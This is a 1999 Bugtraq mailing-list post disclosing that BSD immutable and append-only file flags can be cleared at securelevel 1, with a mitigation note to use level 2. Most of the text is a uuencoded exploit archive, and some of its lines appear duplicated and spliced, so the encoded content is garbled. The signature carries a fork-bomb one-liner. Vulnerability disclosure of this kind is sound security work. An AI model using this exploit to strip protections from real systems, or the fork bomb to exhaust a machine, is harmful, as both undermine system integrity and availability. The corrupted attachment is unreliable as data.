Bugtraq mailing list archives

BSD-fileflags


From: stealth () DIONE IDS PL (stealth () DIONE IDS PL)
Date: Fri, 2 Jul 1999 13:55:22 -0400


Good morning,

'The design and implementation of the 4.4 BSD operating system'
page 263:

"... Security levels are defined as follows:
-1. [...]

 0. [...]

 1. Secure mode: The superuser-settable immutable and appned-only flags
    cannot be cleared; [...]

 2. [...]

"

That's not true. You can do it either with fsdb or with the appended
exploitcode. Sorry for that fat mail, but the code is not upload on my site
yet, but i guess you also will find it there soon...
The README describes exactly why you can erase these flags in level 1.
I already send it to some friends and we found it working at least with
FreeBSD (3.1). I guess that this is a general problem. perhaps someone
verifys this on other BSD's too.

Solution
--------

If fileflags are part of your security-concept, use security level 2, not 1.
(sure, level 2 might also have been broken...)

cheers,
Stealth

: ---- main(){fork();main();} ----
: Hi! I'm a .signature virus! Copy me into your ~/.signature, please!
: Stealth <-> http://www.kalug.lug.net/stealth

begin 644 uzip.tgz
M'XL(`#X^<3<``^Q;>W<:QY+/O\.G:,O7,2@(H6<2ZSI9!,CF7`Q:'K&=QR7#
M3`.S&F;(/"SA)-]]?U7=\P(DVWO7=W?/7HX-,SU5U?6NZIY6_-Y9'7[Q>3_B
MM/[UV9GX0M"GOO&K;\3YUR>GQR?G9_6OA3BJUT]/OA!GGYDO_L1A9`9"?!'X
M?O00W(>>_Q_]Q&3_5^:-G#FN_$QSP)SGIZ?WV__\[#BQ/\Q_#OL?G9W#_O7/
MQ$_A\__<_H]%8GPQ\P,Q_M%9U4J/Q5L_%DMS/95B8;Z3(O*%M3"]N12AOY3"
M\:`TUS4CQ_=69K1X&@I_)J*%!.8LM&X.0C\.+!F62LVK;N/%\/E!_[C4;#ZW
M+/&7LAJJE*Z>'\9A<!@&UF$X=;Q#0CPLO7E^&*[#M+/&7LAJJE*Z>'\9A<!@&UF$X=;Q#0CPLO7E^&*[#PW@6'L[POU3"/,]*!M":
M%7%`^%<5VPEJZLKQ?%OJZY49AD?YZVGNYAC7&U1H^"0'<IJ[/DNN`RD]?1W*
M*%YMDXDCQW4B1X8,]J8"KB=A/`URMY$Y=?EY#G5I.D08<M:L9'B_YHL#7U!(
MEBQ7FAX$#Y;B8$9/2I_'_AS_S,7GH4^?A^/_Z/SD["C+_Z<<_T<GQ_^*_W_&
MYW!_?U^,%DXH5H$_#\REP&6Y6?%7Z\"9+R(Q78MA)$TW6M1*@H!U:A!QB$00
MB=BS94"Q+R(9+)-$(%Y<=S7\T*>!0!+AQN6PWQV/VMVWHM<7KQN#0:,W>EMC
MFIJ>&8DULH?P;ST1..'-(T6EX;I,5V<688(@.'[GV-(63Y\VAJ(S?/H4F8FA
M%OX*_"S,2"%C:"UN'9!`0L,\L]AU:Z(3(6\AO7#BDW9L<3XS7;&*@Y4?8A+?
M<]=Z_IYT2`JF;L;1`BB>KVYM)XP"9QI'N(?TRW6BRI!$#F2X\KW000I0E&@V
MD.<12!N9UDUX:)M+<RZ1]T+\"-OW)/B-%J"?60;\!#R:"B5N//_6E?9<"2O"
MV%J(E0Q"3"CFR##0#>P72--VO#EAA*D&'SU2DAV6'MO(_YCP5>/-U:#Q0GR3
MCESU!\WVI#^8]/HC42\]=CS+C6TI_AI&MN/7%M_EAY"UH_4*>:XPC/2XE-N0
M"+IH8Q0Z].;;D"L3HF\/+_W88PKYN6:J<-BJ+!3Y2)\%VP^HTLPV&=<(^+]S
M+@]6MXLH,\N+W.*0#`*OJ*@]JG.UQ5XIK_=+M+S'I_OT52IQ2"[@V,(47)CA
MU*8GQE=#OH7TD5R27><RBK1=!8M,[J=PJLI'X-+*1<W(I"+.7L(T3<^&7]PZ
M^.&P<M[+)'05*8;6+M^.&P<M[+)'05*8;6+NLC%3@4&>],-Y;:;1POHO(U(4XG1+-LP>TB:A0"L4\S
M,B,B/VJIH9+8^N2A6-\K'Q,4L6=AI?1[BIM>P'-B*Q+*ZIAY=;'YB+P-7Q<E
M0P\(<LMI/,-O!DP"V9.9+9Z+.B;.7;%V^+K`N9U[X,G;W%U`/QEE9A_3_81*
M6*M6*__@H>_U_\$-P1@+.42K449CZN$RB"5#%<__M)>\6.:PY^5"S)7=H"'41&<
M8$J&,Q/E1]S(E*',BOB]9!C(%X$?T#TX,N2=$Y79:^GVSU)*^!"9B[S%CR/E
M(9DJX`RI#C$!:;NL+0T^*N*OHDY3Y3273+I'L'LY]I-/@8UD\,^2$4<UTZ*4
M`AV&42V,)B;=7?"3I6\7'BWU(P3?3!SE)4%Y\`3Z5R1TRP^">!5Q4-PK4EE[
M`^$EHO4G@];KP1_]2>/ZNMUK51Z4DR?\B3%_^01Y<RR;.E*948YCA$:$'!]F
M$7X__W:._RPT281^K_OV8WA/L#Z%_3S_(:TC?-=M$7X__W:._RPT281^K_OV8WA/L#Z%_3S_(:TC?-=6J68GIVF@N:&4-ZQS=N)A
MN_VW":DXHVT70>UMT)U/ANT1Q8$*!$WC.SVOBH;9"F4HHHA!6Q-4Q=X0_K&N
MBD1\L43#2&T$$G$MBD1\L43#2&T$$G$HI@YE7R3GG!?][.UED72DHBAANV1`$]9"6C=DEG!)W8?T
MXMFL9)`BBFQ17=`AJGA*>$%_A,SN/:6<YJ,/6M(7L_&$ZGV$MXMFL9)`BBFQ17=`AJGA*>$%_A,SN/:6<YJ,/6M(7L_&$ZGV$S@6V8T^MXMFL9)`BBFQ17=`AJGA*>$%_A,SN/:6<YJ,/6M(7L_&$ZGV$S@6V8T^I@9NJ
MHK3)DY%RE<M=2A47Q:@/(/%175-&D;`.B'3.A(DKLB>ZTINC<]'%A/2V"9Y9
M/-22<?+;>U(M/-22<?+;>U(_JMM@M/-22<?+;>U(_JMM@5VD@9^U$_BL4!NU`D-1/U8XVAVWS)%3R*BGP2Z,Y.H5X
M6L&M[;0RWA__MX$32>V,S"=R+V0DGI%4,YS;!9$HERGW4\>E78]15%*OP*A;
M498J_RN@%2++V)HY8"-N%`R=XA4[.W*'Y:*M498J_RN@%2++V)HY8"-N%`R=XA4[.W*'Y:*792K@5MW8?$,Y$PDR3=5Q1&/A
MVK/*N'@,[3CPRT3W?80NY_UGVL%7?%=6J=8I1+Z]@@[F#ST_^,YV-GTNF^MG
MKR=O12>;3>R8S*`A)XC6Q*T!QJ>NC\X*'0FOG54%QF@&8]V@@CG*_Q,Q#15T
ML<=-1SG?>N2[WS1!IO5R3Z/L[2R;!G=&?C0)Y#;A60C#$5R`2AQXX#/Q3[::
MH3I`='=99I]BE2!F@;_,MH3I`='=99I]BE2!F@;_,6KAJL@S`_:W>ITGC0:^];FDMH181Z!=#9[ERUP*M
M@X?&4)8KM-Z"[Q^]DG-*97,9*#0SY)682VZ\ID6,ZA9-5?V)J;D?1:@*Q-M&
M.SB3D;7XN'YP7P<HFCJ#T+.6R\Y=;755QGU=7;ZI,[*>ZSAKN!0O=P3T7/3&
MW6XR%BU7Q`HW:+G^S'BHGS&VNIA=?O!?:EB,U$9Z7O5<Y0G*Q5^E.5WQ>%^#
M4JSN1J&FW\-QOOAFTQ8*J,%UC/P`K+@F%42N#0^7`5WC.#=:^=S(\1BBHJ6%
M0-6!+]-"8'RP-%YA`O<9;R0L>$^`BR+'#@#\9"D%7CSA4/5$SQ(%,,TC)!C0
MT1&X5W[IWZ*MMKG(VGK%]/WWWU=VE?5T]K:BE=1?*DVZ(*G9GX1<E^Q\7<IZ
MBIP9[^_3N-5L#MJ-$7[;;YI=Y)!S+BJ?8ER>1/M_F6.P0DV(;VG=@MQS%1E%
MD@KH'J*Z(-TE%2EO-OA)FCC8&I1*N+#IY(/ZES57[!])_50^HJAF)%51M'//
MN"H^4.7`0IL6+C/!N8E6S(4)-9O$F.??/J,=&VZKJ%E5;0$<5SLON3V<Z9T/
M#[$"/PP/;/G.L:1@/84,$WK:+7124>6?W#I\0FZMK8_\OG+L<H5+&<P22,_,
MJK'&W6%=!?>0??.Y(.7AH6P`H(,/.8W]P`J(W?(?]T18G5WQ3K=92>ZYSRDU
M_$,3['2F`N5'S_/WF_1MBOU[)OAT3YP%4K)TW'QYKN/=)`;*14N8.!_7!O*H
M77V:M4#U*):')>T%)'20Q^0[B16,F9"<%DH_U7A/M(\/?G16O#=*'H[$2-NP
M5^#S<M5^#S<M@B5X=A;/0,5F"&BS2!ZZX%[8IJ5892M20SUYR'A%4GVJ&TXD"ZX,(5
M1V+)6P:%5H'[M`DC%7H%(D4^7OW872$#'<1F6V!&T'/6&^1WAXPT97VIX8I[
M)3R4QB67_XRE!.73VH"T3%$^69AJS<Z2/Q-/[D29N7O\_(E=X4*AYR"C,E!A
M1+6_GZEO_?0=(J/8[6^P:>06"IN/]#)`>8UJ[?[[NOJ/:L`WG#G=TLSA?9P+
M5GGWT`DG#")MZFG5KE/>+6<A?D!?93W58R:]*X;-8$M5GGWT`DG#")MZFG5KE/>+6<A?D!?93W58R:]*X;-8$XO-E@9ZB$13=6#.;3X
M:E;6S&069MU#,K)5W/62E2SZ#Q3XA+R*EHRDJK'A#1+)TX#?P1RB*AX&,[LN
M4'%KG#7T\IC"E2<FAG%#^1=(%8P8"?V?G*^^HB9\GV4S9N%77Q$?(@NCEWXD
MM(&HKF^T61F?F<&2:,Z9B-A0FP'J%^FOR5LSH(0>F'9HZ*4?K7\T"I>2`\[[
MM03G4,NB[%MPLR\38^>B,-W2R.6,6:CTOJ%XTCS^9>%Q>)@0K,U4U"3)?HG(
M.%9<,D?D1(B9E;2`F/,3'I=W*S^(\%.(O(U'++EZLJ$M.%9<,D?D1(B9E;2`F/,3'I=W*S^(\%.(O(U'++EZLJ$VL@CC_?%<O.J-)N/K
M5F/4%G_PS:#=[3=:%Z4B"&<D34E%U1[\?2]OGZK0B>Y+8F1'VGHH:7%=3<3,
M[5WD@_M_^D7K_](/O_]7KZ0^VQP/O_\__KI>/Q'B_/SDZ(3.`-#YKZ/C\_J_
MWO__,SY(?I3WTM?]9:LBCK[]AEY$??O-.7U_>P((8X1^92#GTHO25_QCST&#
M&3K1FD::INO,_,!SS)M&3K1FD::INO,_,!SS)K@M_5,C]]_R^"=VI&BJ08R?5_N^!ZONOC-OZ=?3//(
MU/',8$VORI=("?PF7+_[QCJ2J*";=&:.>F-?58<!9+!T(DK2Z;$`7KMSH^6C
MN-W2P@]5VW8(*20JA+>4T3.Z/JIML,9R:IXLZAUYYQ\I)=GA,*<^;[EIU1$1
M?#P_PGJPJC;=7-#C'?-TVNP]3LH3)K5<$QU^0#H2Q]N,8,*<1A)&(*<=6_(S
M\:*/4FA*MF_%2QC?3(QV2(<=^$3$DEZC.:8;9HK71Q=R1R.`Q<*=M\:*/4FA*MF_%2QC?3(QV2(<=^$3$DEZC.:8;9HK71Q=R1R.`Q<*=U-@W3!N>
M$SDA39GATP0`I,&9-)&Z)1]Y(/=@EX,0H3^+;F$VS19K`I.L7'.](8EII8<C
MB.XSY<3J-(5-'9=^(9_1%#8M5;!DY4,36QY.!#(GKXI+&=Q@=;-F+3J1VOW2
MYT!"%O:MYT!"%O:T5C@V0NN'';&3'".AQ^QSF[0262&B.KYB4X>"$H=GDA0$B99^)!/)
M0@@2@+R=;!AOZTU'DJ`.@>*(WK!0@`4.;^MR+(6A-AKAC%YVAF+8OQJ];@S:
M`M?7@_X/G5:[)2[?XF%;#-HOVKW14#1Z+='L]T:#SN5XU!\,Q:^_)F=S\(A(
M-7IO1?O-]:`]'(K^0'1>77<[H*,/`W7:PZKH])K=<:O3>P$MCT>"3I]T.Z\Z
M(X"-^E6:CPAM8XK^E7C5'C1?XK9QV>EV1F^9H:O.J$?3H0\1#7'=&(PZS7&W
M,1#7X\%U?\C42*Y69]CL-CJOVBWDL$Z/SBBU?X!88OBRT>T6Y`M,1#7X\%U?\C42*Y69]CL-CJOVBWDL$Z/SBBU?X!88OBRT>T6Y`2E@IB7;;#8
MN.PR+9X'MN.PR+9X'8K8Z@W9S1/)D5TUH#=QUJV)XW6YVZ*+]MN.PR+9X'8K8Z@W9S1/)D5TUH#=QUJV)XW6YVZ*+]I@U1&H.W54UVV/[W,8#P
MD*BU&J\:+R!<^MD*BU&J\:+R!<^0-J@4F:XT'[%3$,10S'E\-19S1&;_:BWV\-B13(#]N#'SK-
M]O!"=/M#UMAXV*YBDE&#IP<5J`N/<7TY'G98<9W>J#T8C*]'G7ZO0H1>]E]#
M,V"V`>P6*[G?8YFAI/[@+=$E?;`-JN+URS;&!Z13UEJ#=#&$]IHCHI:#Q*S0
MYR@GK.BU7W0[T'JS34_[1.AU9]BNP&2=(0%TU,RO&V]9QC&+3\8";^HRY[Q5
M-JGH7(E&ZX<.,:^!X0C#CG::_A51&HZ;+[7V=1P8_U9^7%'=DO%-[524DR10
M$6>'WQY^>U:B]OL#QX0PX#K3K3%UH"HY%62\:KQIC:\-XZA.#;[KH+C1MK(=
MK]#0WX2BO.(<35L^(CO$16B7C=86VM2T/MK]#0WX2BO.(<35L^(CO$16B7C=86VM2T/X@VOAI>-YIMX[3.!Y'4NN+.6<9+
MY`G3XB-!O$I$PJ9KK$-F4NUY)F0ZO3Z1Z?S8-L[.4RK)X2*%0*B\L\9<<''C
MX[JL.=6.M$UKD9QH\M)3#MX[JL.=6.M$UKD9QH\M)3#_K@DT/Y+;20';-$G:5]M9Q&Z>`,3%T+[;)9O#@'
M210^B+#&^B[2)YS4F:;DX*`Z.:88X.TWAVLI<&?\[MF.@^3$%3$AB:[B'Y(<
M5\5)E<O!*4-8O!YS.(';M5\5)E<O!*4-8O!YS.(';T@JX$*$3$@UOG4A_N_###!+%P#MX+P,H>D:'M5\5)E<O!*4-8O!YS.(';T@JX$*$3$@UOG4A_N_###!+%P#MX+P,H>D:'4X@P
MB'E2VK2O1H3X/1^5"))+(YKV?Z`09NI0(F$^M"K$+EC$=!.MB1H[J=YWP#AO
MF/VN=A5H^V5"`_*"+4=77).(VRHOBZ>HD;>\RDP1Z-P?P]-%"JXVPQ=84!JY
MV1G.BY=3R:<E:93$CK2"@?/GA78#?@&L>`@5TXF?C8<CK#F-^I%!U-1L1"-Q
M3SL/?*6!CW/`9%"]_Y^`M33821',=@)IH0RO"[!7_7&O9=1/&38#*3A)XB!Y
MO&:MO&:WW1@8];,-/(=W35'=:9,KV&!?XYPSCCH0N`-\2V40@;I%U;$YZ<LYR0<G
M*`M8:RB?#N_.`Q]9A?I#=M7;A0/O5PW1Q\79IC=QJPF/<GUO;CCN!.9FRTA[
MP_HZ"#*S<MP_HZ"#*S<1@2LW/E/44GW0<MNKA0!N(QDI+/U"J\HDSD3<!2H`LDG8LDQ>A<
M9"'0Y3W"``1*,$F0C9']Z<23=W!EMD@@I6JN?XME+/-\Y^!M9"'0Y3W"``1*,$F0C9']Z<23=W!EMD@@I6JN?XME+/-\Y^!7@7QW/SSM_MFF
M;0<3($VFGJ_W_J;Z:(2^D4$0IC?)!A!*#`Q*6R5Z6Y`VB#`5S:6E5.F;MZKR
M,P$4RG*""^WQRA_5?I&"UG+,0H*=A0HPC,E[MJ'(9M.)-5=0VY8P-O?BIQ-U
M=9$%7$;M=9$%7$;U3X@8>^F+_`EO^%Y0<M=9$%7$;U3X@8>^F+_`EO^%Y0<D@CXW+2Z5&)/\I5S4Z/"I!AG''Y0OJC\I4Y
M7%*S`OE;[.C(V3`6?ME36(H%O[N<I8LGM>3A2NIX257:020$R$46L+ITL>92
M$3=0K'F*LZ$[M$3=0K'F*LZ$[QM@UR_X*6IFN-%(<!)1NLJQ"$<\+]EV8FV@;^D\UJC;:IZN*
M05\'WVE+B.=0>P)#=75*=`E$_%S:`JU?Y$?AW[1#G7/%RL%1`2*W,9E.DN[Y
MTSN!F]HN/JQY`L+*W`MTSN!F]HN/JQY`L+*W`FC7B@81GE?DXF]&OEV)4<E6-'SA`8#6/-*J23A2##H
MG<JOO[?0ROZMUW]=12M^U7E3%?S5>='K#]KDIUGVHD1*(MG<JOO[?0ROZMUW]=12M^U7E3%?S5>='K#]KDIUGVHD1*(5HDX-@37+/WKWS7
ML=;JW,`=Y=?<^V0*]_(^`<>>52E7&(&N.;.K0F"N5JZC%H;:6PI5F(LTS:<B
M(1=P.C2R3%\`7YGD&VI"I%A:)`B6AO84I$,-2J!+7"&S`!6Z0QK+>YCR+3WA
M5+*4=^:22U(BIV)Q%E!J*Y8*'LL5,=H329/%;[%IJVDY)"EGWL-SX:1[H;8G
M\X.HCMP-[$0.KE5<5#VBD,?%XV!-8C^$ST")9+EJH=,O61J7JYT2K"+NGXND
MDEZ,46D;8??\O/_`1QWI-$1`R)H!1@:NZN/RC9SRBQ5TI):(A-=HM09IGZ:/
MU=`??A0:'<`:6=`1BG&<U-XN>CY8,,FI6-*X#B\JE.NF>PX+72>Y>5G2G^1P
M+HYN??*[**PQB#J?2@/)'R&*?857YOT/)A_21B"2Z5SM2['K\WL''3-KL8Q=
M0/+B-CU8C3P.+W75QAI1E[0NV.!7;3/2.]VIE![A<Q>HF`LE;;?EN<NSIN9,
M%B+2LXO3;RHFF>F=Y*ETMYF=_O4]2R][_.R0L:FY3!C46"9)M%B+2LXO3;RHFF>F=Y*ETMYF=_O4]2R][_.R0L:FY3!C46"9)ETW@L);I[YT(
MWY.6#$/:;^17868`J7?MWY.6#$/:;^17868`J7?J4@E0HPEG^D])"#_R(]/-Q2ZMI#3W'\4.TV"-1(@)
MI;'DW+5BAS:W:`?2HB,&GB7336FFSDLVC_JKD'<>E9_D-CE-_DLWK$UNV<CF
M<N7J:6[I3]6X"X:-F+7HUK%DI2KND@%2,^[7*<"".CJ6L:*6?^^)0!Y:==,;
M?J/T$S[3[D[;<N+@.]#%UQU]O4]OU0,-]7?]%O'O^OX/??\'KS.5A0RA;9-O
M:'$;YKI9OMWG1K:8O?&`&ZT"G"9<;(MLO6[8G&1?3:Z`I3I\A3X5!LEIP4Y:
MFT03N1V`C121+)9I7YF7Q]GB-RST[.]=C];ZF9!Z(!%3538UF)<Q`</O=O.W
M,6,J<6'-I582?,0M74X4></<O%A)F3.2D7V'UQ.(B86J>KC1N1UN3,-TT`"7
M:7$VG+24;]7R9*\\*PX)2E+.=Z'D*GD";OL1_NT&_[56>ZJ*%^HI0SNJ[.8W
M?+(&),9*(V$:S7,13#F!&00FRZO.DFZU%-11A#\=_:)P32B8=W)HC:G*&%9Z
M6.JMR&I5=1GZ`:Q,$,0YBNI_MG>US6T;2?JS\"L@;UTH^DCJQ?+>'GW.GA-+
M:U76ELN2UIM+7"Z0!$640(!'@):X+__]^GEZ9C``2<E)-O&'(RJ1)6#>IZ>[
MIZ?[&9&"F+QI=`>'C1E<5\UWSBQ2F)U3U5.K)"MIZ?[&9&"F+QI=`>'C1E<5\UWSBQ2F)U3U5.K)"0@P+BJV-DK`MI!'@]'\:=*
M^%ICOW$/5'6'3%FU'6Z-Y>/'035L$'(+2"2UWTCNER=_^?@-S&DNBPB4*H.V
M!0<@-Y`T"$#EF$IBMFD,/=M!0<@-Y`T"$#EF$IBMFD,/=IT2-@E#K+0`NG[=0:IH2XU2.2R9%Z6J"@64T0A
M9KD-8ZW*7JY+N(R+6DI,^L!+Z%0G!"JFHGYD8`2-#24RC>+!PF;*%^4,WJ-X
M=:WF+*P933C\5-+#S(M=:WF+*P933C\5-+#S(Y@AH,EXU=J8F#L[DNM(:Z&G*)=LA[6\M*\IVZIC6W8
MIOQ'F_(K^=>S98BYS,?3LMH=FN9!(J[+Q='&J0_.<$:Q8:HP^&&OP),=&1L$
MLX@@Q`*"9Y(0N?R5Z#IB"80R,"/J,F>H)=V89Q[/%S8/?R>Z0R\\%SU!#Z)D
MN<)DR<+IXF?[J:X79:X*E+;Y,'S^=6A\,J!8J&XEY<PU:YXQD,RKOLC33['A
MQM;6E4"4V$\&EJ)`R3``*D7;`B9YB6-[DQ^DC]FA:XM9ERZE*%7%P'35VZ8[
M-846:],W1`3C^-FVC/U2GV9&;MMP(C.Q+A?*&(\\LT"E75.;L7'::S.S_/MR
M(\&:W('/1(7QC74#_*S!Y8R&F53F=J\,97!,,HT,`9J=R&R>3*$H"G.V9CRL
M;TFF38<DP2D"-T5KC7_&CN(W6;.E8[5-*>,0BOW*VE<KNZDOE5Q#TW'%AS=D
M)'LV8YN.IS1"W9=^*'.C'3,T7AO6[&,EU-8-Z4*Y83T+EWXS#U]Z62JC!*A?
M'2E'L,4\QC_A\_!O\*4T&L:.,:SAG6\XB<N!S,<>=^1M_ID89SYY#7<YO'?)
M1?C6TB>%\_U;EWR8SOW4^'-=Z2[]Q>7YVYV#NX-J<WCQW1G?'+DWWYV<O#U_
M@W?'U1;RSY<G[TY>XN4?*MNXFN'O#@^J"DY._GIVN?,'#NQ%*>IX-!^I.87<
MA=Z(@3-LEM$``:%PZ-_9T7.4\./'MWM[#>/-8_7P3$5+A,.C-Y4[)'O0/_-1
MFZ"Q`NF4DC4);`5,HDJH*ER=4/^"03(N2JUE:H*Z_=SRNY^[EA[;;Z377DA3
MM+M><OG9,<ZJ2-P):Q;G]`:YN7AL_",G4#>1+$;S8MEHPZ19`_)$4XF,Y<C6
M0(?M0(?J1@4=*FJA.MV[EB[@NFL&'*^\3\I/?TGIU,C=L*WX@=N13W3U^?E*V>_:
MFAOO_W=AVVN^<2A4"C6F2.;;MEE=Q_6UR'BIT<LJ8TPZK#I+<6I((;H3N=N!
M=ZC:`4<Y<[3W?!(.'[>]),/)35*VS939)M=ZC:`4<Y<[3W?!(.'[>]),/)35*VS939)N@0L="V5_G-G+!.K'IE4!F45QL"
M^EI7#176?T.16Y5XHP.\:<R;R\HK.YTGFY:>3[G6)[JJDHH!-SMKLU=5@)_?
MLS+DF^SAJX*Q'4"DV,92-54.3>K>AD^U4&W$F+[L1K_PL^&412C[HYTOWSY>
MRPWN$@V'Y9K<B7*4\LF1=.V'#V:Z34N1-RE^0<40'3\SM\BUE:$?WHZJ1;AQ
M%F!8:J[BU5E`*@KU!M%F!8:J[BU5E`*@KU!TA@G"Z*29VMK!S6S;SDLA(=:V^L#S2YSNVK/`U6`"'=
M_([]S+C.^K0G(//\9L,*JHJYQF34DWE=>(A%-G-(:;!=/-C71GYGP9#\]O=:
MOQUOK?>$&6#F\+C%!G:,.+FHG%236[%4B@)#2XLY^6UMO%?J?+@V>4V&)ON]
M-5+)!J?4OZV<4J\?"#?#,"79\O5S/I^)!+&M5\V@(3Y<[FET$WO<;ITRX:TF
MFU7;/XNR9&A&T8]?F4K67J_G)X1'SIH14&2]-63+#Y["L'D)$H]O4]E/-GTX
MWE#G\6?7^71MT6,$#G_6D*PA'F]5S^;Y3-BRU5D:M=Q&\^S^2MBA>8P`?8_*
MK0F[*JJ(RSKS8%M<"0S=\DN0C6Z5&3]7-)@O[8*^?;[@P_@/!:/\U>IX`/_Q
MX#^.GA#_\<G3(R#`,O[C^'@;__%;/%O\QRW^XRK^X\\`>GP(U?%?B]/XKT!B
M7.>(7:$S,A88LZ&B_-F#4>LU9)O:'U[F=6")]^3<5,Q:D)W-E:X-9V[6I$&R
M@>CD\3SC+CN?B:HA&R3Y5T;OF?VDW967T?SZF9_>&:D186V,W7HZ%CXN%@/)
M4?Q`<)T*8/3LSR<7WU^$!\'.(P2$N@_?GC/<`-\10_W(`!MY*>!APL\((904
MV+T\Z@!B#<'-]!.DM]4DOS6(6V_.+U\A7`"AU'SQZNSEB?YV>G+Y[2O]%=ZV
M;WPW0P0_O#L/'UT1*>&P=QAVN[33=F4RU8EIEN9)R85MD1/V!E&AGK;'O6.\
MN)%!BE-$]_]H(H=#@@&<"AU]"XJ*U8I?!TW8DZQM&ZDTZC%W6'L>":]&D-Y_
M[A\='!QXW!JMG)3EK+^_?WM[V[N)TL5U#_]G<2D+E6EJK;ERC%QX=]@5/D$,
MG`ULN5?+^V/6%"'+6&:=38)#!$8`IYM)&F5E+WS6_;J6'4I(V)UP`"9Q.OLQ
M`RA/H!:F).-.78AM:#<UC^6/3X2-<K2(>#;K+#HN?!RGC@/GJ[\E!DSME6F/
M5#-M`$$Y2KH5-JN@!HNRV"-E$(M!EX@)F+9(<`B^EMVK?-O3UJ/9G?#1Z_YI
M?]B?],?]1PI`TCW46.="N+MP<,M?]B?],?]1PI`TCW46.="N+MP<,1@TI]7:"ALG;;Z,.T))QW.EGN(:M>EIR'C
M-B+^JK!G/^8<Q6+A&=0&6FMOGKE2)UJJ&3D"N^AZ1E5<JWB_9_ZMQM",6_O9
MS@Z28CPD,U;2NEK&O[06KPZNT765O*X-T+0^/HVTPUK:JCH_BZF/C*!>QBB.
M1'4H683*!B].WTX>LG/^6"-;W?>`JB[5J^KJ3=?4KJ=?K7\K6N[@$'\8),,U
M`](0`/Q0I602VV(V`M`](0`/Q0I602VV(V`9.SI@6KU5/C^,P&5(*L4;\L'D=TM69P/->UPSDA%.ID
MMJ$%KNJZ`-Y<J[#OR,R6PXU83/YH@;RJ"?SG.DR;630OS'4'%:4Z5#U$Y)@8
MGQH"90VEU3CRN8"A.EB>1_\U+F:97-4U#T'/8WIT$C'1`$,#EN=05"S:ABFS
MSEZ$)VGE>U^Y.HU\[H1?L=RVQX$\64S*!XJ#)L)?JVM)MSEZ$)VGE>U^Y.HU\[H1?L=RVQX$\64S*!XJ#)L)?JVM)ORF@12KY_\YD=@H8
M6$J'FQ7$U-JBPJQ(`PC]T5S&5O;?TQQ#E9_7%@=2NJ8E3M*:%HV:+?+(;"V=
MN:)V#*LP:"V[H_`?_PAWAW4<.^R$S%9#I.%UKF%JL>Q2IK%/<"0PNP$Q:&:[
M#Y-VI=6VB9EDJ^6[?JB"^-27(]T?)N,/K.*Y`Z0S;7CNM:5#&#VKE/@:2O>U
M!_.!JR_,0$.`^.GI>=FO%;.S(TH!8^_FH5&VW%1AJU>GH;"6<8R!`X:FPWJK
M,#3],70P>XV:Y6<QR1?IB'&V\1U\_APBIHU2$F+<;3>;?-KPGV6,];(9QKB7
M].)>!92S6OO8S*[Z-\/'JSM"6#=JIRKV]MNV*DI^Y:_]*CFD(H5=K2T?S"9?
MR3QDI:-Y1#=9'2\#ZZ6H7GO8$8>W^?Q&G3$W3KIY?&WVO\*C9GO#WSF*JQ"#
MI`O[4U#*1*EN'Y?#S`I'=/BX/YPUJQ9U%W!E@,TW.0A$M"ZQK76L%?3VL_CV
M\XI?P63]O.Z,TWPV6X+VS:_[:7Z=9.OK4'E82UC)14H]CB*@AQV:4*"8.,"T
M^HE(-[3_#:),]A^_DH7IP?N?#A7_A?:_@^-CXK\\.=KBO_PFS];^]__>_O>E
M27#[?,&'_/_=R8N7KT]^M3H>./]Y>O![>__C\=,GO/_Q\.!XR_]_DZ>R:N[)
MGK&,N^`C_7:H)!$\O_<)@H->T.T&04V`P&7*`RH:Y=Q%EQ/5*4?[BC&K`:[[
M!)8EH``5U*(7G)V&WY]?B7!X<QE>GH<OSQ6'A;;;B_!/Y^&+]R^^WPW.QG#X
M[AAT::EQ`?W\-EJ"Y4YC.M22*<*(:2\Q1,4^2U4F.Y@+J]M[AAT::EQ`?W\-EJ"Y4YC.M22*<*(:2\Q1,4^2U4F.Y@+J]P-@N!0A$)6*HJ2
MB`+I6NT)@A<%B].;$<%\@<DY6PS2I)@0'A*`#MB`+I6NT)@A<%B].;$<%\@<DY6PS2I)@0'A*`#RD@H0`O?M0=%]8Z'(#MITFV
MN`N/>@>].V,0ME%Q"$V+%73<:K$T/=!F8"/-96RRD(`:!L*\B);]L/5*A*M(
MLE'$*Z((*Y5GK5X0'/5$^/*Z1D9:I$6S0Z9+'`2#!)Q8J1H>,1HA361TYLNN
MC3<F\H0TLZ^7N^2-4PTX,W@?/#.5^Q)0&D-^%\DT22.ZD6OM,OQC`[R.VTTP
MP+2XADEK&I91"O?](!KD"YGWF:C)1:S3#U%(ZIU%B"1A"DY`&'V*I`J5M*S]
M(9-XT`LN&5$]D\E,BEB#AJO>H]T(-*`N0J_.(LF&L4]E@;_C\[:^\.JN#59;
M$N>V`(1.3O*R:V%-=9-%$C.6>!T46IY,T)/49=!\]3ZTYAXSJLVM]`SC9)'2
M7)<8R6+BN5$KX45,]U!$;F&B.X&T))$TV!7/8X/EP_440=OH!1?LBKV-(LM!
MD5U#0JXUF!BLFUO$FT690BI(L_I!I,L+.IDN+IS&A7MD'PPA'<HGF-H6\EJ8
M%-9S03`<T1:#&HE&V($WQ@/+`8TSFJ8,/M#H@(0&R+S$`/"46$)+T>K&XV2X
M2,N*;T![<I6@!P6OD(D`XB/:W6T<W^!OI(=27,#YG*<&M1):9CRP0I]H:.HB
M&\1I(KMD4&I?5#:X*Y$I^J=!JZOWO@>%"S][3_8RC_VBBO"/]Y85!,>]8Y[9
M)(8;RIC7\J-C/`)SB-_P2N-PGU\$4ZBA#$O63*K?DV'%!G-.M&S-:FY*D.%L
M%</)=4N5\3M&Y'8"A:*M%</)=4N5\3M&Y'8"A:*AY@X`%248HS3#0L:89&D4`E_V35".$K,!^.D%>V_.
M+T^J6U/&47J]NHI!F_@*Q_OBF2'"(B<9!V5N5O8D]I#QM->HLC+MB/H_S''!
MPSR^!FXZ2-#$I+O->UN%I:;4KCFC"F*;4'=AS`S^]'\='AB>^X-A5?\]E"'^
M\#M(SF&9AMU;RI2>E^FY7GK6?-T/NX<(*-:OX`HR'!B2X]HL.Q;?/>RSXU&F
MTBW)-%G(=+WPU$&_HQ"A='2\9S)+LRT.H>U05_FA/_C:QP.;1RJDT(+S6W;M
MU^#8(A=S8L6%]J0R/#7':#C1[*"QD/<.PT9$XPJL*/@?!=V2Q0)/`R+#GV!+
M3Z%5`;@Y%II&UD0V;M3Z%5`;@Y%II&UD0V;S@I9C+YCPQD)A)]SITFDHA0(:'&C=IKZLF`<-.9B8SK
M5I%QH3;1G"YDAF5SGXP!D5:9)5$8*<$2HZ$R0>71*&"J*%XR<-C[`MM?UR;F
